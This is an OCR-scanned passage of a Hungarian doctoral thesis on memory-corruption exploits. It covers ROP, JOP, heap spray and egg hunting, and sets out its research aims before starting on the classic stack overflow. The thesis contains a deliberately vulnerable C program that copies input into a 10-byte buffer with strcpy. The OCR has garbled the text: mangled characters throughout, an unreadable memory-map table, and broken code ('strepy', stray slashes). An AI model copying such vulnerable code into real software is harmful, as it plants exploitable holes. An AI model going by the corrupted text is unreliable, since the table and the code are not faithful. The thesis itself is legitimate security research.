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1. Bevezetés

A szamitogépes halozatok elleni tamadasok mindennapos eseménnyé valtak napjainkban. A
tamadok egyre kifinomultabb modszereket és eszkozoket hasznalnak, amelyek ellen egyre
nehezebb és koltségesebb védekezni. Az 1.1. dbra a kiber-biindzés kovetkeztében fellépd

koltségeket szemlélteti orszagonként a teljes GDP aranyaban [1].
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A kiberbiintzés koltsége a teljes GDP ardnydban orszagonként

1.1. abra A kiber-blindzés koltségei orszagonként a teljes GDP aranyaban [1]

Az okozott kar nagysagat altalaban csak alsé becsléssel lehet meghatarozni, mivel egy hacker-
tamadas az anyagi veszteségen kiviil olyan egyéb karokat is okozhat (presztizsveszteség,
bizalomvesztés, stb.), amely miatt az 4aldozat gyakran igyekszik a tdmadéas tényét
(amennyiben egyaltalan érzékeli azt) titokban tartani, vagy ha nyilvanossagra is keriil a
tamadas, gazdasagi hatasa nem mérhetd. Ezek a tamadéasok és anyagi vonzatuk a
statisztikdkba nem keriilnek be. Ettdl fiiggetlentil a 1.1. abran lathato modon ezek az 6sszegek

még igy is hatalmasak.

A tamadés motivacidjat tekintve az egyéni akcidk és a "hacktivism" jelenség mellett egyre
nagyobb aranyban vannak jelen az ugynevezett "kiberhaborthoz" kdéthetd események (pl.

Stuxnet [2], Sony-hack [3]). Az ilyen jellegli tevékenységek mind tdmadodi, mind védekez6i



oldalrol nézve ndvelik az orszagok raforditasait €s Osztonzik a tamadassal és védekezéssel

kapcsolatos kutatasok minél szélesebb kiterjesztését.

Egy informatikai tdmadds nem minden esetben illegalis tevékenység. A 2000-es évek
kozepétdl kezdve kifejezetten az informatikai tamadasokra specializalodott szakma alakult ki
etikus hacker néven [4]. Az etikus hacker egy olyan informatikai szakértd, amely a tdmadas
Osszes forméjat ismeri és gyakorolja és a rossz-szandéku hackerekhez nagyon hasonld
modszertannal dolgozik. Az oncélu és feleldtlen hackerekkel szemben, az etikus hacker
nagyon alaposan €s gondosan jar el a tdmadas soran, minden cselekedetét dokumentalja,
emellett a tAmadas megkezdése elott irdsos szerzddést kot a célpont hivatalos képviseldjével.
Egy szamitogépes rendszer etikus hackeléssel torténd vizsgalata az esetek jelentds részében
olyan hibdkra képes ravilagitani, amelyek csupan védekezd szempontbol torténd
vizsgalatokkal nem deriiltek volna ki. Mindezek miatt az etikus hackelés egyre gyakrabban

alkalmazott vizsgalat mind az 4llami mind a magan szektorban.

Az informatikai tdmadasokkal kapcsolatos kutatdsok haszna napjainkban mar
megkérddjelezhetetlen. Ezek a kutatdsok az etikus hackerek miikddését nagymértékben
elosegitik, ezaltal kozvetve hozzajarulnak ahhoz is, hogy az informatikai rendszerek
biztonsagosabbak legyenek. Emellett az informatikai rendszerek elleni tdmadasok kutatési
eredményeinek publikalasaval a gyartok, iizemeltetok ¢és felhasznalok egyarant

biztonsagosabb, a tamadéasnak jobban ellenall6 rendszereket tudnak épiteni.

Jelen dolgozat az informatikai tamadéasok egyik legveszélyesebb formdjaval a memoria
korrupcion alapuld tdmadasok legujabb fajtajaval foglalkozik. A memoria korrupcids hibak
altalaban rendkiviil veszélyesek, mivel egy ilyen jellegli hibaval kedvezétlen esetben akar
tetszOleges kartékony kod futtatdsara is kényszerithetd a sériilékeny programot futtatd
operacids rendszer. A memoria korrupcié legkedvezdbb esetben is a hibds szoftver
ledllasahoz vezet (szolgaltatds-megtagadéas). Az utobbi években szamos memoria korrupcids
hiba latott napvilagot. Ezek koziil a legnagyobb hatastiak kozé tartozik tobbek kozott a
Heartbleed névre keresztelt openssi sériilékenység (CVE-2014-0160) [5] vagy az Izo
tomoritoben tobb mint 20 évig jelen 1évo (CVE-2014-4608) [6] sériilékenység is. Az eldbbi a
webszerverek mintegy 30%-at érintette, az utobbi hatdsa is oOridsi, mivel az 1zo tOmoritést

szamtalan helyen hasznaljak.



A memoria korrupcid kiaknazasa soran a tdmadonak kiakndzasi modszert kell valasztani,
amellyel eléri a céljat. A hiba fajtija gyakran meghatirozza a kiaknazas modjat. A szoftvert
futtatd kornyezet védekezése is befolyasolhatja az alkalmazhatd tdmadasi technikakat olyan
modon, hogy bizonyos tdmadas tipusokat eleve kizar a védelem. A dolgozatban a Return
Oriented Programming (ROP) [7] ¢és a Jump Oriented Programming (JOP) [8]
hibakiaknazasokat vizsgalom kiilonbozd esetekben. Mindkét kiaknazasi mddszerrel szdmos
jelenleg haszndlatos védekezési modszer megkeriilhet. A ROP-ot 2007-ben mutattak be
elészor a JOP-ot 2011-ben alkottdk meg. Rovid életiik ellenére szamos eredmény sziiletett

mar ezekben a témakban, ugyanakkor még nagyon sok kérdésre nem sziiletett valasz.

A dolgozat 2. fejezetében a kutatassal kapcsolatos kérdéseket (kutatdsi célok és modszerek)
részletezem, illetve hipotéziseket alkotok, amelyek teljesiilését a késobbi fejezetekben
vizsgalom. A 3. fejezetében a memoria korrupcids hibak torténetét mutatom be a klasszikus
stack talcsordulastol kezdve egészen a Jump Oriented Programming megsziiletéséig. A 4.-ik
fejezetben a Jump Oriented Programok egyik legfontosabb elemét vizsgalom az ugynevezett
dispatcher gadgeteket. A dispatcher gadget vezérli a Jump Oriented Programok futasat, igy
ezek megtaldlasa a kiilonbozé kodrészekben kulcsfontossagu, részletes algoritmust ezek
kereséséhez eddig még nem publikaltak. A 5. fejezetben a ROP és a JOP egy ujfajta
kiakndzasat mutatom be, amely sordn a mar jol ismert heap-spray [9] technikat alkalmazom.
Ezt a technikdt ehhez a mddszerhez még nem hasznaltak. Az 6. fejezet a ROP technika
hasznalatdit mutatom be az ugynevezett egg-hunting [10] technologiaval. Ilyen kombinaciot
kordbban még nem vizsgaltak. Végezetiil a 7.-ik fejezetben Osszegzem az 1j tudomanyos

eredményeket.



2. Kutatasi célok, modszerek, hipotézisek

Egy informatikai rendszerek elleni tamadastipussal foglalkoz6 kutatdsnak nagyon sok
szempontot kell figyelembe vennie. Az informatikai timadasok az utdbbi években sajnalatos
modon rendkiviil nagy titemben fejlddtek. Az szinte mar nem is meglepd, hogy szinte minden
napra jut egy hatalmas informatikai tdmadassal kapcsolatos esemény: jelszavak szazezreinek
ellopasa, hirességek privat képeinek kiszivargdsa, hatalmas forgalmt webszerverek leéllasa,
stb. Viszonylag 1j jelenség viszont, hogy a célpontok szama és foként tipusa rendkiviili
modon kiterjedt az utdbbi években. A dolgozat irdsdnak pillanatdban éppen a személyautok
hackelléssel torténd ellopasa, a repiilogépek irdnyitérendszerének Osszezavarasa, forgalmi
jelzélampak kényszeritett atvaltdsa valamint az okoshdzak kompromittalasa foglalkoztatja
mind a szakértéket mind pedig a médiat. Mai vilagunkban egyre tobb dolog alapszik az

informatikai rendszereken igy az elleniik irdnyuld tAmadasok szdma is megndtt.

Nyilvanvald, hogy egy szoftverbiztonsaggal foglalkozé kutatas nem fokuszalhat egy konkrét
szoftverhibara. Egy webbongészd hibdjanak megtalalasa és publikaldsa hatalmas eredmény,
de csak akkor tartalmaz hozzdadott értéket kutatasi szempontbol, ha ennek valamely eleme
valamilyen j modszeren alapszik. A szoftverhibakkal kapcsolatos kutatasok az aldbbi 6
témakorokbe  sorolhatok: hibakeresési modszerek, hiba-kihasznaldsi  megoldésok,
hibakihasznéldsok detektalasara szolgalé modszerek, a hibakihasznalds vagy a hiba

1étrejottének a megeldzése.

Jelen dolgozat mar létezd szoftverhibak kihasznalasi mddszereire fokuszal uj lehetdségeket
keresve és elemezve hatarozottan azzal a céllal, hogy ezzel felhivja a figyelmet tdmadasi
lehetdségekre ¢és a védekezés erdsségének javitasara. A hibakihasznélassal kapcsolatos
vizsgélataimnal az alabbi célokat tliztem ki:

e abemutatott modszereknek aktualisnak kell lenniiik

e a bemutatott mdodszereknek 0 eredményeket kell tartalmazniuk

e abemutatott mdédszereknek jol miikodonek és hasznalhatonak kell lenniiik.

A szoftverhiba kiaknazasoknak hatalmas az altalanos irodalma. Ez foként annak koszonheto,
hogy egy-egy szoftverhiba kiaknazasi modszer oOriasi veszélyforras lehet, igy annak

megsziletése utdn a gyartok megprobalnak erre minél hamarabb reagalni, amely altal Gjabb és



ujabb védekezések sziiletnek. A gyakorlati tapasztalat azt mutatja, hogy ez idaig nem sikertilt
olyan tokéletes védekezést 1étrehozni, amely minden szempontbol megfelel és a gyakorlatban
hasznalhat6 is. Nagyon sok esetben egy-egy védekezésre szinte azonnal megsziiletik az azt
megkeril6 tdmadd megoldas. Mindezek miatt ez egy allandd korforgds, amely soran
folyamatosan 1j, egyre szofisztikaltabb tdmadasi és védekezési modszerek sziiletnek. A
védekezéssel kapcsolatban ezért napjainkban a f6cél nem mindig a hiba teljes kizérasa, hanem

inkabb a minél erdsebb csillapitas.

Gyakran eldfordul, hogy egy hibakiaknazas tipus egy el6z0 modszer specialis
tovabbfejlesztése. A kutatds soran figyelembe vettem, hogy a gyors valtozds miatt a
bemutatott modszerek ma még hasznalhatoak, de lehet, hogy holnap mar l1étezni fog rajuk egy
rendkiviil hatékony védekezés. Amennyiben ez igy van, akkor egyrészt ez egy jo hir, mert
ezaltal biztonsagosabba valtak a rendszerek, ugyanakkor egy 0j védekezés megsziiletése nem
jelenti azt, hogy ezt a modszert mindenki hasznalni fogja (jelen pillanatban a windows
operacids rendszerek 20%-a még mindig XP). Masrészt viszont a bemutatott Gj modszer
késObb alapja lehet egy 0j tamadastipusnak, modositva az eredetit. Mindezek miatt egy 0j
eljaras vagy modszer még akkor is hozzdadott értékkel rendelkezik, ha védekezést dolgoznak

ki ra.

Osszefoglaléan a tamadasok és védekezések gyors fejlédése kapcsan azt lehet megemlitenti,
hogy jelen tuddsunk szerint minden védekezésre lehet timadast krealni és minden tAmadashoz
lehet védekezést késziteni. Ezen kutatds az elsore épit, mert védekezéseket fogok megkeriilni

a bemutatott 1j modszerekkel, de egyértelmiien a mésodik erdsitése céljabal sziiletetett.

A specialis probléma miatt a kutatasi modszerek is specidlisak. Annak ellenére, hogy a
tamadasoknak ¢és a védekezéseknek hatalmas az 4ltalanos irodalma, a tudoményos
szakirodalomra ez mar nem mondhaté el. Egy-egy tdmadadsi modszer, habar szamos uj
tulajdonsagot ¢és Otletet tartalmaz gyakran nem a szakfolyoiratokban érhet6 el eldszor, hanem
valamely webes tamadasokat gylijtd adatbazisban (pl. exploit-db [11]) vagy biztonsagi
kérdésekkel foglalkozo blogokban. Ennek oka az, hogy ezzel a témaval nagyon sokan
foglalkoznak nem kifejezetten akadémiai korokbol. Ugyan igaz az, hogy ezen emberek nagy
része csak a meglévd publikalt modszereket hasznélja (némely esetben ehhez is egyedi tudas
sziikséges, igy ezek a szakértOk gyakran keresett emberek), de emellett mindig vannak olyan

uj otletek is ezekben a megoldasokban, amelyek ezekben az adatbazisokban jelennek meg



eldszor. Mindezek miatt a szoftverbiztonsag jellegli kutatasoknak innen is meriteni kell. A
szakirodalom feldolgozasa tehat egy alap eleme volt a kutatdsomnak, de ehhez nem csak a
szaklapokat kellett feldolgozni. Forrasaimat az aldbbi helyekrdl meritettem:

e szaklapok, konferenciak

e hacker versenyek, feladatok

e cxploit és egyéb tdmado oldalak adatbazisa

e tamado szoftverek open-source moduljai

Az elérhetd forrasok feldolgozdsa utan a kutatds soran egyrészt a szoftverhiba kiaknazasok
meglévo maddszereinek fejlesztését tliztem ki célul 0 algoritmusok megalkotasaval, masrészt
mar l1étez6 modszerek kombinacidjat probaltam megvalositani. A kutatds megkezdése elott
abbol a feltételezésbol indultam ki, hogy a meglévé modszerek még ki nem probalt
kombinacidja ujfajta kiaknazési tipushoz vezethet, amely sordn az alkalmazott modszerek
elényos tulajdonsagai egyesiilhetnek. A kutatas egyik nagy kérdése tehat az volt, hogy miként
lehet ezeket az eldny0s tulajdonsagokat egyesiteni, illetve mik azok a negativ mellékhatéasok,

amelyek automatikus velejaroi a modszerek egyesitésének.

A kutatasi modszereket €s 1épéseket tehat nagyban az a cél vezérelte, hogy ketté vagy tobb
kiaknazasi médszert probaltam egyszerre alkalmazni szamos lehetséges mddon a meglévo
szoftverhibakra, figyelembe véve az irodalomban elérhetd eddigi eredményeket. Az eldallt

eredményeket ezutan értékeltem eredményesség €s hasznalhatosag szempontjabol.

Egy-egy 1j moddszer megfeleloségének a bizonyitasa a szoftverhiba kiaknazasok soran a
legegyszeriibben egy ugynevezett "proof of concept" exploittal szemléltetve lehetséges,
bemutatva annak helyes miikodését. Nem egyedi kiaknazasi modszerek esetén is ezt a
technikat hasznaljdk a gyakorlatban: Abban az esetben, pl. ha egy 0j nulladik napi

sériilékenység keriil napviladgra, ennek meglétét szintén ilyen exploitokkal bizonyitjak.

Tovabbi fontos verifikacids kérdés, hogy a "proof of concept" jellegli exploitok milyen
platformra ¢és architektirara és mely szoftverhibakra késziiljenek. A kidolgozott 1j
algoritmusok ¢€s modszeregyesitések valdjaban tilmutatnak egy architektiran ¢és
szoftverhiban. Amennyiben a jol definialt feltételek teljesiilnek, ugy a bemutatott modszerek

nem csak egy hibara alkalmazhat6ak. Ugyanakkor a moddszer értékelése céljabol készitett



exploitoknal kornyezetet kellett valasztanom. Napjainkban egyre komolyabb tdmadasok
sziiletnek a mobil platformokra és a bedgyazott rendszerekre, ugyanakkor az alapvetd
technikdk legtobbszor a hagyomanyos operacios rendszerekre sziiletnek. Mindezek miatt a
dolgozatban bemutatott exploitok x86-0s architektarara irodtak az ehhez rendelkezésre allo
utasitaskészlettel. Az operacidos rendszer valasztds soran a f0 szempont az volt, hogy
mindenképpen egy napjainkban hasznalatos operéacios rendszerre késziiljenek az exploitok,
ugyanakkor a lehet6 legkevesebb védelemmel legyen az ellatva. Ennek oka nagyon egyszerti:
Az 1) eredmények elemzéséhez és megalkotdsahoz mindenképpen az a leghatékonyabb
megoldas, ha az ellenallas kezdetben a legkisebb. A tamado kéd megalkotasanal késobb lehet
feltételezni, hogy az operacios rendszer a legkorszeriibb védekezésekkel van ellatva, mint pl:

e Data Execution Prevention védelem [12]

e Hagyomanyos Address Space Layout Randomization vagy nagy entropiaja ASLR

[13]
e A virtudlis memoriaba betdltott modulok pozicio fliggetlenek
e Az operacidos rendszeren alkalmazott tgynevezett "Anti-ROP" technikak, pl.

Windows EMET [14]

Ilyen mddon pontosan értékelni lehet egy 1) modszert, olyan szempontbol, hogy mi az, amit
még megkeriill és mi az, ami kivédi. Amennyiben a legfejlettebben védekezd operacios
rendszerre késziiltek volna az exploitok, ugy csak a mikodés sikere vagy sikertelensége lett
volna megallapithat6. Mindezek miatt az exploitok operacios rendszerének a jelenleg is 20%-
ban hasznalt Windows XP-t valasztottam, de minden egyes modszerhez részleteztem, hogy mi
torténne, ha a fent felsorolt védekezések jelen lennének, igy a mddszerek a legmodernebb
esetben is alkalmazhatdak, ha a leirt feltételek teljesiilnek. A XP valasztasanak egy masik
gyakorlati oka is volt: a memoriakorrupcioval kapcsolatos kutatdsaim egészen a 2010-es
évekig nyulnak vissza. Ezekben az években az XP a legelterjedtebb operacids rendszer volt a

vilagon.

A szoftverhiba kivalasztdsanal arra torekedtem, hogy egy olyan hibara késziiljenek az
exploitok, amelyek nagy hatastiak voltak, emellett a szoftver minél Gsszetettebb és nagyobb
legyen, abbdl a célbol, hogy minél tobb szempontbdl lehessen vizsgalni. Mindezek miatt a

valasztasom egy 2008-as nagy jelentdségli Internet Explorer hibara (CVE-2008-0038) esett.



A szoftverhiba kiaknazéasok terén gylijtott tapasztalatom alapjan a kutatds megkezdése elott az

alabbi hipotéziseket alkottam:

A Jump Oriented Programming (JOP) tipusu tdmadasok hamarosan a gyakorlatban is nagyobb
jelentéséggel fognak rendelkezni a jelenleginél, igy az ehhez kapcsolodo algoritmusok
fejlesztésére van sziikség. A JOP legfontosabb elemének szadmitdé "dispatcher gadget"
keresésére alkothatd jobb, Osszetettebb és pontosabb algoritmus a jelenleginél (amikor ezt a
modszert publikaltdk a médszer bemutatasa volt a 1ényeg, ami hatalmas eredmény, de magara
a dispatcher gadget keresésre egy viszonylag egyszerli megoldast valasztottak). A dispatcher
gadgetek keresésére vonatkoz¢ kutatdsaim soran abbol a hipotézisbdl indultam ki, hogy egy a
virtualis memoridban megtalalhato tetszdleges hosszusagu kodrészlet is mitkodhet dispatcher
gadgetnek megfeleléen, ha a tdmado kod Osszedllitasdhoz hasznalt funkciondlis gadgetek
figyelembe veszik a dispatcher gadget belsejében talalhato utasitasokat és a kodrészlet elsé és
utolsé utasitdsa megvaldsitja az indexvaltoztatas ¢és indirekt ugras kombindciot. Ezen allitas
igazolasdhoz egy olyan algoritmus kifejlesztése sziikséges, amely azonositja a virtualis
memoridban megtalalhato lehetséges dispatcher gadget kodrészleteket és feltételeket rendel a

funkcionalis gadgetek helyes mikodéséhez.

A Return Oriented Programming (ROP) ¢és a JOP egyik nagy probléméja, ha hagyoményos
modon hasznaljuk ezeket, hogy lényegesen nagyobb a payload egy adatszegmensen futtathato
payloadhoz képest. A heap spray tipusu payload elhelyezési technikdnal ugyanakkor
gyakorlatilag  korlatlan hely 4ll rendelkezésre. Elvben nincs akaddlya a kettd
kombinacidjanak, ezért a kifejlesztett uj memoriakorrupcios kiaknazasi technikam abbdl a
hipotézisbdl indul ki, hogy a ROP ¢és a JOP altal biztositott tényleges tdmado kod irdsa nélkiili
részekbdl Osszeflizott kodvégrehajtds kombinalhaté a heap spray payload elhelyezési
technikdval és ez esetben a két technika elényds tulajdonsagai Osszeadodhatnak. Ennek
bizonyitasahoz egy olyan részletes kiaknazasi technika leirds és elemzés sziikséges mind a
ROP ¢és heap spray, mind pedig a JOP és heap spray kombinacidjadhoz, amely magaban

foglalja az 0j kiakndzasi technika részleteit.

A ROP ¢és JOP nagy payload probléméja megoldhato a DEP kikapcsolasa nélkiil is az
ugynevezett "egg-hunter" megoldasokkal. Mivel az egg-huntereknek pont ez a céljuk, de ROP
¢s JOP esettn nem hasznaltadk még Oket. Az egg-hunterekre kifejlesztett 1

memoriakorrupcids hiba kiaknazasi technikam abbdl a feltételezésbdl indul ki, hogy az egg-



hunting tipust kiaknazasoknal alkalmazott payload keresési technika megvaldsithatdé a DEP
védelem mellett is olyan mddon, hogy a payload keresést a ROP modszer segitségével
valdsitom meg. Ennek igazoldsahoz egy olyan elemzés sziikséges, amely megvizsgalja a DEP
megkertilési lehetdségek és az egg-hunting egylittes hasznalatat, valamint értékeli azokat
hasznalhat6sag szempontjabol. A DEP védelem megkeriilése elméletben tobb megoldassal is

lehetséges.

A hipotézisek teljesiilését a 4., 5., és 6. fejezetben vizsgalom, a 3. fejezet egy szakirodalmi

Osszefoglalé a memoriakorrupciot érintd kérdésekrol.



3. fejezet

Memoria korrupcio

A memoria korrupcié bemutatasat az operacids rendszerek virtudlis memoria hasznalatdval
célszerti kezdeni. [15] A mai modern operacios rendszerek szamtalan folyamat futtatdsara
képesek egy idében. Minden folyamat hasznalhatja a szamitogép fizikai eréforrasait, igy a
véletlen elérésii memoriat (RAM) is. A fizikai er6forrasokon a folyamatok osztoznak, amely
altal az operacios rendszert komoly kihivasok elé allitjak, mivel minden folyamat szdmara
biztositani kell a megfeleld erdforrast. A véletlen elérésti memoria esetén is az operacios
rendszernek kell elvégeznie a megfeleld nagysagi memoria rendelkezésre bocsdjtasat minden
folyamat szdmara és mindezt gyakorlatilag futasidében. Az egyik legnagyobb nehézséget az
operacios rendszer szdmara az jelenti, hogy a folyamat elinditdsakor az operacios rendszernek
szinte semmilyen informacidja nincs arrél, hogy a folyamatnak mekkora a memoriaigénye.
Szoftverjeink interaktivak, a felhaszndlo beavatkozasa kovetkeztében mas €s mas mennyiségii
memoriara lehet sziikséges egy folyamatnak egy adott iddpillanatban. Mindezek miatt az
operacios rendszer nem a tényleges fizikai memoriat osztja szét a folyamatok koézott, hanem
minden egyes folyamat szamara egymadstdl elszeparalt hatalmas mennyiségli virtudlis
memoriatereket biztosit. Ez még akkor is igy torténik, ha egy folyamat memoriaigénye
valdjaban nagyon kevés. Ez a megoldas azért nagyon eldnyds, mert igy minden folyamat
hatalmas mennyiségli 6sszefliggd memoriateriilettel gazdalkodhat, és még véletleniil sem fér

hozza més folyamat adataihoz.
Virtualis memdria Fizikai
(folyamatonként)  memoria

Merevlemez

3.1. Virtualis memoria - fizikai memoria cimforditas [15]
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A virtudlis memoria hasznalata ugyanakkor azt vonja maga utan, hogy az operacios
rendszernek egy allandd cimforditast kell végeznie a folyamatok virtudlis memoridja és a
tényleges fizikai memoria kozott (3.1. abra) valds idoben. A virtualis memoria hasznélat miatt
egy folyamat valojaban csak annyi helyet fog foglalni a fizikai memoridbol, amennyit
ténylegesen hasznal. Emellett tovabbi helysporolast jelent az is, ha egy memoriarészt tobb
folyamat hasznal egyszerre. Ebben az esetben a kdzds memdriarész minden egyes folyamat

crer

szerepelnie a fizikai memoriaban.

Mivel minden folyamat sajat virtudlis memoriatérrel gazdalkodhat, ezért az adatok
elhelyezése a virtudlis memoridban semmilyen hatdssal nincsen mds folyamat adataira. X
folyamat C cimén 1év0 adatnak, semmi kéze Y folyamat azonos C cimén 1évo adathoz €s ez
forditva is igaz. Ugyanakkor egy folyamat a sajat cimterén beliil logikailag altalaban hozzafér
az adatokhoz. Mindezek miatt el6fordulhat, hogy egy szoftverhiba kiakndzasa soran a tdmado

crer

valamely tamadast hajthat végre. A memoriakorrupcid soran valdjaban pontosan ez torténik.

Egy folyamat a virtudlis memoria szervezése soran az operacios rendszer altal vezérelt logika
szerint osztja fel a memoriateret. A virtualis memoria szegmensekbdl all, amelyek kiilonb6zo
tipusu adatokat tartalmaznak. A Microsoft operacids rendszer pl. az aldbbi fobb szegmenseket

hasznalja [16]:

kod szegmens (text szegmens): itt talalhato a folyamat egy végrehajthat6 utasitas sorozata

adat szegmens. a globalis valtozokat és a statikus lokalis valtozokat tartalmazza

stack szegmens (verem): ideiglenes adatok tarolasara szolgal, mint pl: lokalis valtozok,
metodushivas és visszatérés adatai, kivételkezelés, stb.

heap szegmens: adatok dinamikus tarolasara szolgal, pl. az objektumok is itt tdrolodnak
relokacios tabla: A dll fajlok mindig egy preferalt helyre toltédnek be a virtudlis memoriaba.
Amennyiben az adott helyen mar egy masik dll talalhato, ugy a forditd athelyezi azt egy

masik helyre a relokacios tabla alapjan.

A 3.2. édbra a 32 bites Acrobat Reader virtualis memoriatérképe lathatdo egy Windows 8.1

operacios rendszeren.
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] Memory map

Addresz |Size i =1 Sect ion Contains Tupe| Access | Initial|H
HEIEQREE | BEE01BE0 Map | Rl Fll
HEIFOEEE | BEE0IE00 Map | R F
HE4EREEE | BEEE1BEH| AcroRd32 FE header Ima |R EWE Cop
HE4E1 886 | BAERIEEE | AcroRd32 tent Code Ima (R E EWE Cop
HE4E4EE86 | BEEHEEEH | AcroRd32 .rdata Imports Ima |R EBUWE Cop
HE4E2886 | BAEE1B60 | AcroRd32 .data Oata Img |RW EWE Cop
HE4EABEE | AAE4 9008 | AcroRd32 eI Resources Ima | R RUE Cop
BE4SREEE | BR300 1800 Friv| Bl Ell
HE4ERREE | BEEZSCEDN Fiiv| Rl Ell
HESERREE | BEENCE0N Map | R F
HEFEHEEE | BEEH4EEE0 Map | R F
HE7F7HEEE | 83151860 Map | R A
HEIEHEEE | BEEF 18680 Map | R i
H10EEEEE | BAEE1860 | AcroRd32_dl L PE header Ima |R EWE Cop
Hi0E1 866 B851EBEH| AcroRd32_dl L tent Code Ima R E EWE Cop
B231F88E| a1 Ca08A | AcroRd32_dl L .rdata Imports, esports Ima |R RUWE Cop
b24Evaan) aa1c3800) AcroRd32_dl L .data Data Img | Rl REWE Cop
H2GAABEE | BEE01B80| AcroRd32_dl L .datal Ima [EW REUWE Cop
H2GABEEE | BEZEIEEN| AcroRd32_dl L CETC Resources Ima |R EWE Cop
H2'35EREE | BEER28E80| AcroRd32_dl L o loc Relozat ions Ima |R EWE Cop
H2AEHEEE | BEEE1BEE | AGH PE header Ima |R EWE Cop
H2AE 1 BEE | BE3H5EEE | AGH beut Code Ima R E EBUWE Cop
H20E5EEE | 881 3CaE0E | AGH .rdata Imports,edports Ima |R EWE Cop
HZE42886 | BAEZ2FEEE| AGH .data Data Img |RW RWE Cop
B2ZES2EE0 | 3001800 AGH CEDC Resouroes Ima |R REWE Cop
B2ZESHEEE | BEE4FEaE | AGH rEloc Felocat ions Ima |R REUWE Cop
H2ZECHEEE | BEEH1BE0| Cool Twpe FPE header Ima |R EWE Cop
H2EC1EEE| 8817 FEEE| Cool Type hent Code Ima (R E EWE Cop
HIEIZEEE | BAES18680 | CoolTupe .rdata Imports, edports Ima |R EWE Cop
HIEEQEEE | HEEZ23EE0H| Cool Tupe .data Data Img |EW EBUWE Cop
BIA0CEHAE | BAEE1AEE | Cool Type CCErG Rezsources Ima |R EWE Cop
EE?EEEEE EEEAEEEE CoolTups reloc Relocat ions lmg E“ - EHE Enp

3.2. abra A 32 bites Acrobat Reader memoriatérképének egy részlete Windows 8.1 -en

A futtathaté allomény elinditdsakor az operacios rendszer els6ként eldallitja a virtualis
memoriateret. A targykodokat betolti a kodszegmensekbe, az adatokat az adatszegmensekbe.
A belinkelt dlloméanyokat a megfeleld helyre helyezi, ha sziikséges athelyezi azokat. Elkésziti
a szalakat és minden egyes szallnak sajat stack szegmenst foglal, illetve a teljes folyamat
szamara egy heap szegmenst allit el6. Futdsidében ijabb és Ujabb targykodokat tdlthet be a
program, illetve 0j széllak sziilethetnek, valamint régiek halhatnak ki. Az operacios rendszer

folyamatosan menedzseli a virtualis memoriatér részeit.

Fontos hangsulyozni, hogy amig egy folyamat mas folyamatok adataihoz nem fér hozza, de
sajat virtualis memoriaterének felhasznaldi részéhez (user space) hozzaférhet. Ez a
megvalositas kiilondsen veszélyes lehet, mivel az adat és a kdd gyakorlatilag egy helyen van a
memoridban. Egyes adatokat a felhasznalok befolyasolni tudjak, igy az adatok kodként

torténd értelmezése kritikus lehet, komoly tdmadasi pontot jelenthet.
A tovabbiakban a kiilonb6zd tdmadéasokat fogom roviden bemutatni a legelséktdl kezdve

egészen a dolgozat targyat képezd Return Oriented Programming és Jump Oriented

Programming-ig.

12



3.1. Klasszikus verem tulcsordulas

A verem talcsordulds (stack overflow) [18] [20] [21] a legegyszeriibb fajtdja a memoria
korrupcidnak. A szoftverek a vermet az ideiglenes adatok taroldsara hasznaljak, a verem
LIFO (last in first out) elven miikkddik. A veremmel kapcsolatos miiveletek gyors elvégzése
miatt a processzorok utasitaskészlete tartalmazza a sziikséges elemeket, pl. push, pusha egy
darab vagy az Osszes regiszter letételére a verembe illetve pop, popa az adatok felvételére. A
verembe a regisztereken kiviil konstansok és valtozok is keriilhetnek. Stack alapt
architekturdk esetén a veremben tarolodnak tobbek kozott a lokalis adatok, mint pl. a
metodusok lokalis valtozoi, de a metddushivassal kapcsolatos adatok nagy része is ide keriil.
A metddusok ismétlodd, paraméterekkel ellatott részfeladatok, igy tehat szerves részei egy
modern szoftvernek. Egy kozepes méretli szoftver is szamtalan metodushivast hajt végre. A
metodus hivas soran a verembe keriilhetnek a metddus hivasi paraméterei, az elmentett bazis
pointer (a metddus lokalis valtozoéinak cimzésében van szerepe), a metodus lokalis valtozoi
valamint a metddus visszatérési cime is. Minden egyes metodus hivas sordn az el6bbiekben
felsorolt adatok sorozata keriil, amelyet egyiittesen a metddus stack frame-jének neveznek.
Amennyiben pl. A metodus meghivja B metddust, B metddus pedig C-t ugy a C metddus

végrehajtasa soran a stack allapota a 3.3. dbranak megfeleld lesz.

A metddus stack frame

B metodus stack frame a verem erre nd

C metodus stack frame

3.3. abra stack frame-ek a veremben

A stack frame pontos tartalma és az eltarolt adatok sorrendje az ugynevezett metodushivasi
konvenciotdl fiigg (calling convention). A metddusbdl valod visszatérés utan a befejezddott
metodus stack frame-jét el kell tavolitani a verembdl. Ezt a metddus sajat maga €s a metddust
hivé metddus is megteheti. Az alkalmazott fontosabb hivasi konvenciok az alabbiak: cdecl,

sdtcall, fastcall [17].
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Tekintsiik az alabbi egyszerii ¢ programot (pelda.c):

#include <string.h>

void funcl(char* arl)

{
char ar2[10];

strepy(ar2,arl);
/

int main(int argce, char*® argv[])

S
t

funcl(argv[1]);
/

A main metodusban egyetlen utasitds szerepel a funcl nevii metddushivas. Cdecl hivasi
konvenciot feltételezve a verem tartalma a funcl metddusba tortént belépés utan az alabbi

lesz (32 bites architektirat feltételezve):

argv[1]-re mutato pointer (4 byte)
a metodus visszatérési cime (4 byte)
a lementett bazis pointer (4 byte)
hasznalaton kiviili hely (2 byte)

ar2 tomb lokalis valtozo (10 byte)

A metodus meghivasa el6tt a hivo metddus leteszi a verembe a metddus paramétereket,
jelen esetben az argv/1]-re mutatd pointert. Ezutan leteszi a metoddus visszatérési cimét (a
hivé metodus hivas utani utasitdsdnak a cime), majd lementi a bazis pointert (push ebp).
Ezutan atallitja a bazis pointer értékét az aktualis veremcimre (mov ebp, esp), és helyet
foglal a lokalis valtozoknak (sub esp, Oc). Jelen esetben 10 byte helyre van szilikség a
lokalis valtozokhoz, de mivel a foglalas 4byte-ra kereken torténik, ezért a verembe lesz 2
byte-nyi hasznalaton kiviili érték, majd jon a 10 byte-os ar2 tomb. A metddus
végrehajtasa soran a paraméterben atadott string értéke bemasolddik a 10 byte-os helyre,
majd a metddus befejezi a futdsat az alabbi modon: Mivel nincs visszatérési érték, ezért az

eax regiszter nem keriil beallitdsra. A verem cimét a hivo metodus visszaallitja az aktualis
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bazis pointer cimre (mov esp, ebp), illetve a régi bazispointer is visszaallitasra keriil (pop
ebp). Ez utan mar csak arra van sziikség, hogy a verem tetején 1évo értékre keriiljon a
vezérlés (a metodus visszatérési cimére), azért hogy a program futasa ott folytatddjon ahol
a metddushivas el6tt volt. A verem tulcsorduldsos memoria korrupcid esetén [18] ez a
visszatérési cim kertil feliilirasra, ezaltal a metddusbol vald kilépéskor a program futasa

nem ott folytatodik ahol a metédushivas megtortént.

